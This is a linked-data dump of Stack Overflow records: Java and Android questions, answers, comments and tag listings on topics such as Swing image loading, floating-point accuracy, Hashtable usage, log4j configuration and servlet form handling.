has comment: http://stackoverflow.com/comment/33764114
accepted answer of: http://stackoverflow.com/q/22190226
has comment: http://stackoverflow.com/comment/33699953
has comment: http://stackoverflow.com/comment/33734008
has comment: http://stackoverflow.com/comment/33685376
answers question: http://stackoverflow.com/q/22190226
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33842332
has comment: http://stackoverflow.com/comment/33685007
has body: My guess is that the image is not loaded, use the path of the file as an argument to ImageIO.read(new File("Koala.jpg")). Using ImageIO: import java.awt.*; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import javax.imageio.ImageIO; import javax.swing.*; public class TwoPanel { public static void main(String[] args) { SwingUtilities.invokeLater(new Runnable() { public void run() { showMainWindow(); } }); } public static void showMainWindow() { JFrame frame = new JFrame ("Key test"); MyDrawPanel1 dp1 = new MyDrawPanel1(); //MyDrawPanel2 dp2 = new MyDrawPanel2(); //MyDrawPanel3 dp3 = new MyDrawPanel3(); //MyDrawPanel4 dp4 = new MyDrawPanel4(); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); JPanel p = new JPanel (); p.setLayout(new BorderLayout()); p.add (dp1); //p.add (dp2); //p.add(dp3); //p.add(dp4); frame.getContentPane().add(p); frame.setLocationRelativeTo(null); // center frame frame.setMinimumSize(new Dimension(300,400)); // make the frame at least 300x400 frame.pack(); frame.setVisible(true); } } The MyDrawPanel1: class MyDrawPanel1 extends JPanel { private static final long serialVersionUID = 1L; //Image image = new ImageIcon("Koala.jpg").getImage(); BufferedImage image; MyDrawPanel1() { super(); try { this.image = ImageIO.read(getClass().getResource("com/founder/pane/Koala.jpg")) } catch (IOException e) { System.err.println("Koala.jpg does not exist!"); e.printStackTrace(); } } @Override public void paintComponent (Graphics g) { super.paintComponent(g); g.drawImage(image, 3, 4, null); } }
has comment: http://stackoverflow.com/comment/33698038
upvote count: 1
has comment: http://stackoverflow.com/comment/33771619
has comment: http://stackoverflow.com/comment/33687090
has comment: http://stackoverflow.com/comment/33746808
has comment: http://stackoverflow.com/comment/33748830
has comment: http://stackoverflow.com/comment/33819838
type: Answer
has comment: http://stackoverflow.com/comment/33742364
has comment: http://stackoverflow.com/comment/33751093
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33835474

http://stackoverflow.com/comment/33789856
has text: I guess that regex is a most elegant way to parse this string.
comment on: http://stackoverflow.com/a/22248956
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33792094
comment on: http://stackoverflow.com/a/22250293
score: 0
type: AnswerComment
has text: @ChristopheRoussy Oh boy. If you are not using Object Oriented concepts in Java by turning everything into statics, why even use Java? Statics break OO fundamentals, statics make testing harder by a magnitude and statics are okay ONLY to declare constants in Java. For any other purpose if you are using statics, there is always a better way.
type: Comment

http://stackoverflow.com/q/22199556
upvote count: 1
accepted answer: http://stackoverflow.com/a/22199850
has body: I´m trying to check if a website is online. I have already tried this: public static boolean checkisonline(String targetUrl) { if (android.os.Build.VERSION.SDK_INT &gt; 9) { StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build(); StrictMode.setThreadPolicy(policy); } HttpURLConnection httpUrlConn; try { httpUrlConn = (HttpURLConnection) new URL(targetUrl) .openConnection(); httpUrlConn.setRequestMethod("HEAD"); // Set timeouts in milliseconds httpUrlConn.setConnectTimeout(30000); httpUrlConn.setReadTimeout(30000); // Print HTTP status code/message for your information. System.out.println("Response Code: " + httpUrlConn.getResponseCode()); System.out.println("Response Message: " + httpUrlConn.getResponseMessage()); return (httpUrlConn.getResponseCode() == HttpURLConnection.HTTP_OK); } catch (Exception e) { System.out.println("Error: " + e.getMessage()); return false; } } But I always get Error: null in the output, even if the website is online. Stackdrace: 03-05 14:51:30.931 8409-8460/de.treevo.app I/System.out﹕ Error: null 03-05 14:51:30.931 8409-8460/de.treevo.app W/System.err﹕ java.io.EOFException 03-05 14:51:30.931 8409-8460/de.treevo.app W/System.err﹕ at java.util.zip.GZIPInputStream.readFully(GZIPInputStream.java:202) 03-05 14:51:30.931 8409-8460/de.treevo.app W/System.err﹕ at java.util.zip.GZIPInputStream.&lt;init&gt;(GZIPInputStream.java:98) 03-05 14:51:30.931 8409-8460/de.treevo.app W/System.err﹕ at java.util.zip.GZIPInputStream.&lt;init&gt;(GZIPInputStream.java:81) 03-05 14:51:30.931 8409-8460/de.treevo.app W/System.err﹕ at com.android.okhttp.internal.http.HttpEngine.initContentStream(HttpEngine.java:468) 03-05 14:51:30.931 8409-8460/de.treevo.app W/System.err﹕ at com.android.okhttp.internal.http.HttpEngine.readResponse(HttpEngine.java:666) 03-05 14:51:30.931 8409-8460/de.treevo.app W/System.err﹕ at com.android.okhttp.internal.http.HttpURLConnectionImpl.execute(HttpURLConnectionImpl.java:347) 03-05 14:51:30.931 8409-8460/…
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33700063
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33699964
type: Question
has title: Check if website is online
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/22199850
tagged with: android
favorite count: 0
has comment: http://stackoverflow.com/comment/33700085

http://stackoverflow.com/q/22271311
tagged with: java
has answer: http://stackoverflow.com/a/38991245
type: Question
tagged with: c#
has title: Convert Java Encryption Code to C#
has comment: http://stackoverflow.com/comment/33851637
answer count: 1
downvote count: 0
tagged with: cryptography
favorite count: 0
has comment: http://stackoverflow.com/comment/102584610
has comment: http://stackoverflow.com/comment/33896536
type: UnansweredQuestion
tagged with: encryption
upvote count: 1
has body: This is the Java encryption code that I am trying to convert into an equivalent C# code: import java.io.UnsupportedEncodingException; import java.security.AlgorithmParameters; import java.security.GeneralSecurityException; import java.security.spec.KeySpec; import java.util.Arrays; import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.PBEKeySpec; import javax.crypto.spec.SecretKeySpec; import org.apache.commons.codec.binary.Base64; import org.apache.commons.lang.Validate; public class Encryptor { private static final String CIPHER_ALOGRITHM = "AES/CBC/PKCS5Padding"; private static final String KEY_ALOGRITHM = "PBKDF2WithHmacSHA1"; private static final String KEY_SPEC_ALOGRITHM = "AES"; private static final String ENCODING = "UTF-8"; public static String decrypt(String password, String encodedCiphertextAndIv) throws GeneralSecurityException, UnsupportedEncodingException { String[] ra = encodedCiphertextAndIv.split(":"); byte[] ciphertext = Base64.decodeBase64(ra[0]); byte[] iv = Base64.decodeBase64(ra[1]); /* Decrypt the message, given derived key and initialization vector. */ Cipher cipher = Cipher.getInstance(CIPHER_ALOGRITHM); cipher.init(Cipher.DECRYPT_MODE, getSecret(password), new IvParameterSpec(iv)); String plaintext = new String(cipher.doFinal(ciphertext), ENCODING); return plaintext; } static SecretKey getSecret(String password) throws GeneralSecurityException { byte[] salt = Arrays.copyOf(password.getBytes(), 8); /* Derive the key, given password and salt. */ SecretKeyFactory factory = SecretKeyFactory.getInstance(KEY_ALOGRITHM); KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, 1024, 128); SecretKey tmp = factory.generateSecret(spec); SecretKey secret = new SecretKeySpec(tmp.getEncoded(), KEY_SPEC_ALOGRITHM); return secret; } public static String encrypt(String password, String plainText) throws GeneralSecurityException, UnsupportedEncod…
has comment: http://stackoverflow.com/comment/33830993
score: 1

http://stackoverflow.com/q/22230952
type: Question
has comment: http://stackoverflow.com/comment/33757205
has body: I have Vector named "datas". Vector looks like; [1000, 3, 676767, true] And i have jTextField named "p3_1000" I write below code for set this text field as invisible or visible. for(int i = 0; i&lt;= datas.size(); i++){ if(datas.elementAt(i).elementAt(3).equals("true")){ ??? } System.out.println("p"+(datas.elementAt(i).elementAt(1))+"_"+(datas.elementAt(i).elementAt(0))); } Print Line show correct format "p3_1000" as like my textfield name. But i dont find a ways set releated textfield call with its name. How i write this code for automaticly detect true textfield ? I must say if 3th index of current vector row is "true" set visible textfield named "p"+(datas.elementAt(i).elementAt(1))+"_"+(datas.elementAt(i).elementAt(0)) But how? Can we call any object with its name using any string referance ?
linked to: http://stackoverflow.com/q/5168030
has answer: http://stackoverflow.com/a/22231012
score: 0
answer count: 1
has title: Call textfield object with its name and set some properties
has comment: http://stackoverflow.com/comment/33756973
accepted answer: http://stackoverflow.com/a/22231012
type: AnsweredQuestion
tagged with: java
tagged with: swing
linked to: http://stackoverflow.com/q/4958600

http://stackoverflow.com/q/22249624
tagged with: java
has title: Key with multiple values
has answer: http://stackoverflow.com/a/22249655
downvote count: 0
possible better answer: http://stackoverflow.com/a/22249655
has answer: http://stackoverflow.com/a/22249924
has body: I am doing a college project where I have multiple values with a key. Here is my code import java.util.Hashtable; private Hashtable name2email; name2email = new Hashtable(); @Override public void record_user(String name, String email, String address, String phonenumber, double accountnumber, double credit) throws user_exists { if (name2email.containsKey(name)|| name2email.contains(email)|| name2email.contains(address)|| name2email.contains(phonenumber)|| name2email.contains(credit)|| name2email.contains(accountnumber)) { throw new user_exists(); } name2email.put(name, email,address,accountnumber,phonenumber,credit); } I am using a HashTable because of the specs of my assignment. Any suggestions? Yes this is the error I am getting back no suitable method found for put(String,String,String,double,String,double) method Hashtable.put(Object,Object) is not applicable (actual and formal argument lists differ in length) What should I do ?
has comment: http://stackoverflow.com/comment/33790655
favorite count: 0
answer count: 3
tagged with: hashtable
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22249924
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22249856
tagged with: hashmap
score: 1

http://stackoverflow.com/q/22189081
has answer: http://stackoverflow.com/a/22189149
linked to: http://stackoverflow.com/q/177506
has comment: http://stackoverflow.com/comment/33682103
linked to: http://stackoverflow.com/q/20287765
answer count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/22189201
tagged with: floating-accuracy
has comment: http://stackoverflow.com/comment/33682178
possible better answer: http://stackoverflow.com/a/22189149
favorite count: 0
has comment: http://stackoverflow.com/comment/33682231
has answer: http://stackoverflow.com/a/22189402
score: 2
type: AnsweredQuestion
upvote count: 2
tagged with: java
has comment: http://stackoverflow.com/comment/33682324
type: Question
has comment: http://stackoverflow.com/comment/33682346
has title: How to overcome inaccuracy in Java
has body: I came to know about the accuracy issues when I executed the following following program: public static void main(String args[]) { double table[][] = new double[5][4]; int i, j; for(i = 0, j = 0; i &lt;= 90; i+= 15) { if(i == 15 || i == 75) continue; table[j][0] = i; double theta = StrictMath.toRadians((double)i); table[j][1] = StrictMath.sin(theta); table[j][2] = StrictMath.cos(theta); table[j++][3] = StrictMath.tan(theta); } System.out.println("angle#sin#cos#tan"); for(i = 0; i &lt; table.length; i++){ for(j = 0; j &lt; table[i].length; j++) System.out.print(table[i][j] + "\t"); System.out.println(); } } And the output is: angle#sin#cos#tan 0.0 0.0 1.0 0.0 30.0 0.49999999999999994 0.8660254037844387 0.5773502691896257 45.0 0.7071067811865475 0.7071067811865476 0.9999999999999999 60.0 0.8660254037844386 0.5000000000000001 1.7320508075688767 90.0 1.0 6.123233995736766E-17 1.633123935319537E16 (Please forgive the unorganised output). I've noted several things: sin 30 i.e. 0.5 is stored as 0.49999999999999994. tan 45 i.e. 1.0 is stored as 0.9999999999999999. tan 90 i.e. infinity or undefined is stored as 1.633123935319537E16 (which is a very big number). Naturally, I was quite confused to see the output (even after deciphering the output). So I've read this post, and the best answer tells me: These accuracy problems are due to the internal representation of floating > point numbers and there's not much you can do to avoid it. By the way, printing these values at run-time often still leads to the correct results, at >least using modern C++ compilers. For most operations, this isn't much of an issue. answered Oct 7 '08 at 7:42 Konrad Rudolph So, my question is: Is there any way to prevent such inaccurate results (in Java)? Should I round-off the results? In that case, how would I store infinity i.e. Double.POSITIVE_INFINITY?
accepted answer: http://stackoverflow.com/a/22189201

http://stackoverflow.com/a/22263908
downvote count: 0
upvote count: 8
type: Answer
answers question: http://stackoverflow.com/q/22263901
score: 8
has body: In Java indexes run from 0 to length() - 1, so starting the index i at length() is one off the end of the string, causing your IndexOutOfBoundsException. Try for(int i = name.length() - 1; i &gt;=0; i--) {

http://stackoverflow.com/a/22198248
type: Answer
has comment: http://stackoverflow.com/comment/33741213
has body: In Java, when you say Object o1= o2; thats mean that you are trying to make a new object called o1 that has the same address of o2. SO , you actually have only one object created and two reference on it. Modifying this object will reflect on the object itself and accessing it from any of the object addresses will result the same. You need to use the concept of Deep Copy by doing the copy manually with the real value not the references as this Article to understand it
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/22198110

http://stackoverflow.com/a/22296836
type: Answer
score: 1
upvote count: 1
has body: char cbuff[]=new char[(int)f.length()]; Create the char array with the size equal to the length of the file (content of file) int c=fr.read(cbuff); Read the file and put the content in the char array
has comment: http://stackoverflow.com/comment/33876270
has comment: http://stackoverflow.com/comment/33876587
downvote count: 0
answers question: http://stackoverflow.com/q/22296679

http://stackoverflow.com/comment/33862331
type: QuestionComment
has text: Yes, and I read the article, but I still don't know what to do to run it?
comment on: http://stackoverflow.com/q/22286509
score: 0
type: Comment

http://stackoverflow.com/q/22310870
has comment: http://stackoverflow.com/comment/33904405
linked to: http://stackoverflow.com/q/309737
has comment: http://stackoverflow.com/comment/33904325
type: Question
upvote count: 4
has comment: http://stackoverflow.com/comment/33903613
has answer: http://stackoverflow.com/a/22311781
has comment: http://stackoverflow.com/comment/33903401
has comment: http://stackoverflow.com/comment/33902187
answer count: 1
downvote count: 0
favorite count: 0
has body: I am currently wondering if there is a good way of implementing an equals method for a non-static inner class in Java. I basically a class Foo with an inner-class Bar like this: public class Foo { private final String foo; // constructor omitted public /* non-static */ class Bar { private final String bar; // constructor omitted @Override public boolean equals(Object other) { return other != null &amp;&amp; other.getClass() == getClass() &amp;&amp; ((Bar) other).bar.equals(this.bar) &amp;&amp; Foo.this.equals(Foo.((Bar) other)); // Will, of course, not compile. } } @Override public boolean equals(Object other) { return other != null &amp;&amp; other.getClass() == getClass() &amp;&amp; ((Foo) other).foo.equals(foo); } } My classes are a lot more complex in reality and I want to reuse the Foo#equals method from within Bar#equals in order to save me a lot of code. I am now considering to make the "inner-class-relationship" explicit in order to being able to refer to the "outer" class. However, then I have to add accessor methods manually and I want to avoid this. I cannot get rid of the feeling that there should be a Java approach of doing this.
has comment: http://stackoverflow.com/comment/33904507
has comment: http://stackoverflow.com/comment/33902322
duplicate of: http://stackoverflow.com/q/309737
has comment: http://stackoverflow.com/comment/33903002
score: 4
has comment: http://stackoverflow.com/comment/33906132
has comment: http://stackoverflow.com/comment/33902295
has comment: http://stackoverflow.com/comment/33905755
tagged with: inner-classes
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33903994
has comment: http://stackoverflow.com/comment/33904207
tagged with: java
has title: Implementing meaningful equals method for non-static inner classes
has comment: http://stackoverflow.com/comment/33906009
tagged with: equality

http://stackoverflow.com/comment/33778830
has text: First add the sql server driver jar in your class path.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22242783

http://stackoverflow.com/comment/33766443
comment on: http://stackoverflow.com/q/22233908
score: 0
type: Comment
type: QuestionComment
has text: Check this: http://java.dzone.com/articles/hadoop-practice

http://stackoverflow.com/comment/33671508
type: QuestionComment
type: Comment
score: 0
has text: The `String` class has a `toCharArray` method, which does what you need initially. Check the Javadoc.
comment on: http://stackoverflow.com/q/22182920

http://stackoverflow.com/comment/33785123
score: 1
comment on: http://stackoverflow.com/q/22245846
type: Comment
type: QuestionComment
has text: http://stackoverflow.com/questions/2885173/java-how-to-create-and-write-to-a-file refer this on how to implement the writing to destination file on server side. Divide and conquer, before that u must: 1st, make sure you can read every line of your client file. 2nd, make sure you can send the information to Server

http://stackoverflow.com/tag/csv
type: Tag
tags question: http://stackoverflow.com/q/22243298
tags question: http://stackoverflow.com/q/22224359
tags question: http://stackoverflow.com/q/22190800
tag name: csv
tags question: http://stackoverflow.com/q/22205792
tags question: http://stackoverflow.com/q/22267661
tags question: http://stackoverflow.com/q/22212758
tags question: http://stackoverflow.com/q/22298556
tags question: http://stackoverflow.com/q/22189879
tags question: http://stackoverflow.com/q/22273034
tags question: http://stackoverflow.com/q/22289977
tags question: http://stackoverflow.com/q/22209551
tags question: http://stackoverflow.com/q/22287160
tags question: http://stackoverflow.com/q/22186309
tags question: http://stackoverflow.com/q/22208112
tags question: http://stackoverflow.com/q/22254158
tags question: http://stackoverflow.com/q/22265974
tags question: http://stackoverflow.com/q/22235691
tags question: http://stackoverflow.com/q/22277551
tags question: http://stackoverflow.com/q/22179387
tags question: http://stackoverflow.com/q/22265944
tags question: http://stackoverflow.com/q/22286878

http://stackoverflow.com/a/22269572
upvote count: 2
downvote count: 0
has body: In addition to the issues @Smalltown2k mentions: You have not initialized pane. So, when you call pane.add(back), pane is null and you get an NPE.
answers question: http://stackoverflow.com/q/22269386
type: Answer
score: 2

http://stackoverflow.com/comment/33838433
has text: You need to assign a new instance to `bPunkt` before adding.
comment on: http://stackoverflow.com/q/22275680
type: Comment
score: 7
type: QuestionComment

http://stackoverflow.com/q/22183655
possible better answer: http://stackoverflow.com/a/22183802
has title: Access POST vars - Java EE Servlet
type: Question
has answer: http://stackoverflow.com/a/22183802
tagged with: servlets
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/22183679
accepted answer: http://stackoverflow.com/a/22183679
has body: How can i access my POST vars in my servlet ? I tried String login = (String) request.getAttribute("login"); String password = (String) request.getAttribute("password"); My HTML form &lt;form action="login" class="form-group" method="POST" style="width: 300px;"&gt; Nom d'utilisateur &lt;input type="text" name="login" class="form-control" /&gt; Mot de passe &lt;input type="password" name="password" class="form-control"/&gt; &lt;input type="submit" class="btn btn-primary" value="Login"/&gt; &lt;/form&gt;
type: AnsweredQuestion
tagged with: java

http://stackoverflow.com/q/22198252
has comment: http://stackoverflow.com/comment/33700629
answer count: 1
has answer: http://stackoverflow.com/a/22205127
has comment: http://stackoverflow.com/comment/33697641
has title: Dismissing progress Dialog from another thread and class
score: 0
has body: I have a seperate AsyncTask class that does some time consuming task. When the AsyncTask is called from the activity, a progress dialog is started. And is dismissed along the line if the user cancels the dialog or an error occurs while carrying out the background task. If the background process is successful, it is supposed to run verifyingUser method in that is the main Activity. This is where my problem lies. here is my code: public class CreateAccountTask extends AsyncTask&lt;String, Void, String&gt;{ private ProgressDialog mpDialog; private CreateAccountTask task; private Context context; private Activity activity; private CreateAccount createAccount; private AsyncTaskListener asyncTaskListener; public CreateAccountTask(Activity activity, AsyncTaskListener asyncTaskListener){ this.activity = activity; this.asyncTaskListener = asyncTaskListener; } @Override protected void onPreExecute() { // TODO Auto-generated method stub super.onPreExecute(); mpDialog = new ProgressDialog(activity); //mpDialog.setTitle("Creating Account"); mpDialog.setMessage("Please wait."); mpDialog.setCancelable(false); mpDialog.setIndeterminate(false); mpDialog.setButton(DialogInterface.BUTTON_NEGATIVE, "CANCEL", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface arg0, int arg1) { // TODO Auto-generated method stub //task.cancel(true); mpDialog.dismiss(); } }); mpDialog.show(); } @Override protected String doInBackground(String... arg0) { // TODO Auto-generated method stub String fphoneNo = arg0[1]; String fpassword = arg0[0]; // create instance of the parseUser Class ParseUser newUser = new ParseUser(); newUser.setUsername(fphoneNo); newUser.setPassword(fpassword); // here Check if progress dialog has been cancelled if (!isCancelled()){ // if dialog has not been cancelled create the new user here newUser.signUpInBackground(new SignUpCallback() { @Override public void done(ParseException e) { // Something went wrong Sorry! if(e != null ){ if(!isCancelled()…
has comment: http://stackoverflow.com/comment/33697969
has comment: http://stackoverflow.com/comment/33697850
tagged with: android
linked to: http://stackoverflow.com/q/4748964
tagged with: android-asynctask
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33698337
tagged with: java
type: Question

http://stackoverflow.com/comment/33800505
type: QuestionComment
has text: You lock on the sync on the thread instance, run the thread, then wait on the thread in Main. At this point, the thread should have the reigns. It syncs on the this, which is the same thing Main waited on, then calls notifyAll(), which releases the wait in Main. The app should run fine.
comment on: http://stackoverflow.com/q/22254825
score: 0
type: Comment

http://stackoverflow.com/comment/33691878
comment on: http://stackoverflow.com/q/22185137
has text: By rollout you mean deploy new version? Why would you lose the cache during redeploy?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22175335
favorite count: 0
has comment: http://stackoverflow.com/comment/33657413
has answer: http://stackoverflow.com/a/22176735
has comment: http://stackoverflow.com/comment/33657166
answer count: 3
has comment: http://stackoverflow.com/comment/33656945
has comment: http://stackoverflow.com/comment/33657319
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33657476
tagged with: conditional-statements
has comment: http://stackoverflow.com/comment/33659824
has comment: http://stackoverflow.com/comment/33656963
tagged with: if-statement
tagged with: java
has title: Is there a more efficient way to compare 3+ items in an If statement?
type: Question
upvote count: 4
has comment: http://stackoverflow.com/comment/33660071
has answer: http://stackoverflow.com/a/22176285
has answer: http://stackoverflow.com/a/22175472
downvote count: 0
has body: I am writing a program for a class assignment and I want to compare multiple items in an array for equivalence. My statement basically looks like: if (a == b &amp;&amp; b == c &amp;&amp; c == d &amp;&amp; d == e &amp;&amp; e == f) { // do stuff } This condition seems incredibly verbose, and I am wondering if there's a shorter way to write this.
score: 4

http://stackoverflow.com/comment/34456418
comment on: http://stackoverflow.com/a/22553523
score: 1
type: AnswerComment
type: Comment
has text: @andyf I just had a look at it and `Bug 41018` is really re-introduced when the `if (argType.isMemberType())` statement is removed. To reproduce it, check out the second "simplified snippet" from Knut, and open the references of "methodA". No references will be found although the method is clearly referenced in the same class. I recommend reporting this as a new bug and linking it to Bug 41018 and also to this Stack Overflow question, so the jdt developers can have a look at it. Btw: nice find, andy!

http://stackoverflow.com/comment/33844242
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22278192
has text: 03-09 11:10:10.227: E/AndroidRuntime(4285): java.lang.IllegalStateException: Could not execute method of the activity 03-09 11:10:10.227: E/AndroidRuntime(4285): at android.view.View$1.onClick(View.java:3607) 03-09 11:10:10.227: E/AndroidRuntime(4285): at android.view.View.performClick(View.java:4212)
type: AnswerComment

http://stackoverflow.com/a/22290590
score: 1
has comment: http://stackoverflow.com/comment/33865679
accepted answer of: http://stackoverflow.com/q/22290449
answers question: http://stackoverflow.com/q/22290449
has comment: http://stackoverflow.com/comment/33865790
has comment: http://stackoverflow.com/comment/33865826
upvote count: 1
type: AcceptedAnswer
has body: I think you are matching a space when there actually is a tab there? Can you try this: BufferedReader br = new BufferedReader(new FileReader(text)); String content; while ((content = br.readLine()) != null) { String delims = "\\s"; String[] tokens = content.split(delims); }
type: Answer
downvote count: 0

http://stackoverflow.com/comment/33789440
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22248824
has text: read this : http://docs.oracle.com/javase/tutorial/essential/concurrency/ skip ahead to ExecutorService if you want to get straight to the solution
score: 0

http://stackoverflow.com/a/22252009
type: AcceptedAnswer
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/33872492
has comment: http://stackoverflow.com/comment/33795655
has comment: http://stackoverflow.com/comment/33796205
has comment: http://stackoverflow.com/comment/33795424
downvote count: 0
has comment: http://stackoverflow.com/comment/33795717
has comment: http://stackoverflow.com/comment/33795470
accepted answer of: http://stackoverflow.com/q/22251798
has body: Judging from the documentation the result from the &lt;bean:define&gt; tag is of type Object if you don't specify a value attribute. The &lt;html:option&gt; tag only works if the passed value is of type String. Use EL (Expression Language) to get the value instead: &lt;html:option value="${textVal}"&gt; ... &lt;/html&gt; You could also just use the &lt;html:optionsCollection&gt; tag and not have to explicitly iterate: &lt;html:select property="selectedServices" name="specificStoreForm" multiple="true" styleClass="services"&gt; &lt;html:optionsCollection name="services" property="selectedServices" value="value" label="label"/&gt; &lt;/html:select&gt;
score: 2
answers question: http://stackoverflow.com/q/22251798

border
tags question: http://stackoverflow.com/q/22217428
tag name: border
tags question: http://stackoverflow.com/q/22271828
tags question: http://stackoverflow.com/q/22210823
tags question: http://stackoverflow.com/q/22237905
type: Tag

http://stackoverflow.com/q/22226651
linked to: http://stackoverflow.com/q/34413
has body: I get the following error when running this code: (ColorMatrix getarray() returns a float[]) 74 public void testHueShift() { 75 ColorMatrix cm1 = new ColorMatrix(); 76 ColorMatrix cm2 = hueShift(0f); 77 assertArrayEquals(cm1.getArray(), cm2.getArray(), 0f); 78 } the error: ----- begin exception ----- java.lang.NoClassDefFoundError: org.junit.Assert at com.Common.lib.test.ColorFilterFactoryTest.testHueShift(ColorFilterFactoryTest.java:77) at java.lang.reflect.Method.invokeNative(Native Method) at java.lang.reflect.Method.invoke(Method.java:511) at junit.framework.TestCase.runTest(TestCase.java:154) at junit.framework.TestCase.runBare(TestCase.java:127) at junit.framework.TestResult$1.protect(TestResult.java:106) at junit.framework.TestResult.runProtected(TestResult.java:124) at junit.framework.TestResult.run(TestResult.java:109) at junit.framework.TestCase.run(TestCase.java:118) at android.test.AndroidTestRunner.runTest(AndroidTestRunner.java:169) at android.test.AndroidTestRunner.runTest(AndroidTestRunner.java:154) at android.test.InstrumentationTestRunner.onStart(InstrumentationTestRunner.java:545) at android.app.Instrumentation$InstrumentationThread.run(Instrumentation.java:1551) ----- end exception ----- But the project build path has it: EDIT This is the Test class classpath This is the class under test (It is a library project)
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22226744
tagged with: unit-testing
type: Question
tagged with: assertion
tagged with: junit4
upvote count: 5
tagged with: java
has answer: http://stackoverflow.com/a/22226744
score: 5
tagged with: junit
downvote count: 0
answer count: 1
has title: JUnit NoClassDefFoundError on org.junit.Assert itself
favorite count: 0

http://stackoverflow.com/q/22296275
has title: How to use system environment variables in log4j.properties?
has comment: http://stackoverflow.com/comment/33878152
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/85090852
has comment: http://stackoverflow.com/comment/33881792
score: 15
linked to: http://stackoverflow.com/q/13066042
upvote count: 15
tagged with: environment-variables
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/22296362
tagged with: log4j
favorite count: 0
type: UnansweredQuestion
has body: I added the system environment value PROJECT_HOME=C:\Program Files\Project Now i'm trying to use the system environment value in log4j.properties but didn't set it **log4j.properties** **log4j.appender.LOGFILE.File="${env.PROJECT_HOME}"/project.log** Could you please tell me how to set system environment variables in log4j.properties? Using log4j-1.2.7 version

http://stackoverflow.com/comment/33783584
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22242287
has text: @SotiriosDelimanolis:I updated the exisintg code with the complete code. Please have a look.

http://stackoverflow.com/comment/33780929
type: Comment
score: 0
has text: Maybe try using `List` instead `ArrayList` ?
comment on: http://stackoverflow.com/q/22243899
type: QuestionComment

http://stackoverflow.com/q/22248043
tagged with: regex
answer count: 4
has body: I have my java enum such as: FOO("foo"), BAR("bar") ... and I have a getValue() method to return the value "foo" and "bar" of the enum and this has to be in Java. On the other hand, I have to match this in Scala: result match { case "foo" =&gt; I am trying to do: result match { case Enum.FOO.getValue() =&gt; I get this error: method getValue is not a case class constructor, nor does it have an unapply/unapplySeq method I'm not quite sure what is happening here since my getValue() method returns a String so why I can't use it for pattern matching? Thanks
tagged with: pattern-matching
accepted answer: http://stackoverflow.com/a/22249269
has answer: http://stackoverflow.com/a/62103472
has answer: http://stackoverflow.com/a/22249105
tagged with: scala
has title: Scala pattern matching Java enum value
type: AnsweredQuestion
tagged with: enums
tagged with: java
score: 12
type: Question
has comment: http://stackoverflow.com/comment/33787931
upvote count: 12
has answer: http://stackoverflow.com/a/22249269
downvote count: 0
has comment: http://stackoverflow.com/comment/33788286
has comment: http://stackoverflow.com/comment/33789096
favorite count: 0
has comment: http://stackoverflow.com/comment/33788919
possible better answer: http://stackoverflow.com/a/22249015
has answer: http://stackoverflow.com/a/22249015

http://stackoverflow.com/comment/33876104
comment on: http://stackoverflow.com/q/22255105
has text: Yes, you just need to create a JAR during runtime before loading them.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33865659
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22290467
has text: OK, so you're getting a `Class` object, then you're trying to call a method on it that's defined in the `Command` class. A `Class` is not a `Command`. What are you actually trying to do?

http://stackoverflow.com/comment/33652263
comment on: http://stackoverflow.com/q/22172748
score: 0
type: Comment
type: QuestionComment
has text: Please post exception stacktrace from logcat

http://stackoverflow.com/comment/33678685
comment on: http://stackoverflow.com/a/22186225
score: 0
type: AnswerComment
type: Comment
has text: @user3377462 Yes, but which one, eclipse, netbeans...?

http://stackoverflow.com/comment/33775743
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22240981
type: AnswerComment
has text: "Build this indexOf() function by calling contains, which you’ve already made above." I already emailed him, he didn't make a typo.

http://stackoverflow.com/comment/33733431
type: AnswerComment
comment on: http://stackoverflow.com/a/22217820
type: Comment
has text: dude, every date has a phone related to it and vice versa.So i want their counterparts to be with them.
score: 0

http://stackoverflow.com/a/22175576
answers question: http://stackoverflow.com/q/22175332
has body: Change your pattern like this: String spattern = "(?i)^\\s*((P(OST)?.?\\s*(O(FF(ICE)?)?)?.?\\s+(B(IN|OX))?)|B(IN|OX))"; If you know you won't use your pattern often, you can try this instead: String myInput = .... if (myInput.matches(spattern)) { // myInput is a PO BOX ... } else { // myInput isn't a PO BOX ... }
score: 5
type: AcceptedAnswer
upvote count: 5
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22175332
type: Answer

http://stackoverflow.com/comment/33888380
has text: Not sure. You may want to look here and you use it if/as needed. http://msdn.microsoft.com/en-us/library/bb382770%28v=vs.110%29.aspx
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22256069

http://stackoverflow.com/comment/33925636
score: 3
type: Comment
type: QuestionComment
has text: Stop editing your post, now it doesn't compile. If your going to edit it make sure it compiles first.
